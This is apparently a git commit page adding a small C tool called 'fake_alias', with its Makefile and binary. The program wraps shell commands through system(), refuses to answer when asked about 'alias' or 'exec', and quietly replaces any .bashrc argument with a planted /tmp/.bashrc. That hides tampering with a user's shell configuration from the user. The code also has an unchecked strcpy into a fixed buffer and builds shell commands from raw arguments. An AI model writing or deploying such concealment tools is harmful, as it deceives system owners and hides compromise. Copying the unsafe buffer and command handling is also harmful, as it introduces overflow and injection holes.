fake alias implementation
This commit is contained in:
9
alias/Makefile
Normal file
9
alias/Makefile
Normal file
@@ -0,0 +1,9 @@
|
||||
SRC = main.c
|
||||
OUT = fake_alias
|
||||
CFLAGS = -Wall -Wextra -g -fsanitize=address
|
||||
|
||||
all: $(SRC)
|
||||
$(CC) $(CFLAGS) $(SRC) -o $(OUT)
|
||||
|
||||
clean:
|
||||
$(RM) $(OUT)
|
||||
BIN
alias/fake_alias
Executable file
BIN
alias/fake_alias
Executable file
Binary file not shown.
38
alias/main.c
Normal file
38
alias/main.c
Normal file
@@ -0,0 +1,38 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main (int argc, char **argv) {
|
||||
//printf("argc = %d", argc);
|
||||
if (argc < 2) {
|
||||
printf("Error: at least one argument is required\n");
|
||||
return 1;
|
||||
}
|
||||
// check for alias or exec
|
||||
if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
|
||||
printf("There is nothing to see here, beggar off...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Handle only the command
|
||||
if (argc == 2) {
|
||||
system(argv[1]);
|
||||
return 0;
|
||||
}
|
||||
char *rep_file = "/tmp/.bashrc";
|
||||
char command[500] = {'\0'};
|
||||
strcpy(command, "/bin/"); // Prefix of the command
|
||||
// We filter any .bashrc and replace it by our own
|
||||
for (int i=1; i<argc; i++) {
|
||||
if (strstr(argv[i], ".bashrc") != NULL){
|
||||
strcpy(command + strlen(command), rep_file); // replace by our copy
|
||||
}
|
||||
else{
|
||||
strcpy(command + strlen(command), argv[i]); // let the original
|
||||
}
|
||||
command[strlen(command)] = ' ';
|
||||
}
|
||||
// printf("Launching: %s\n", command);
|
||||
system(command);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user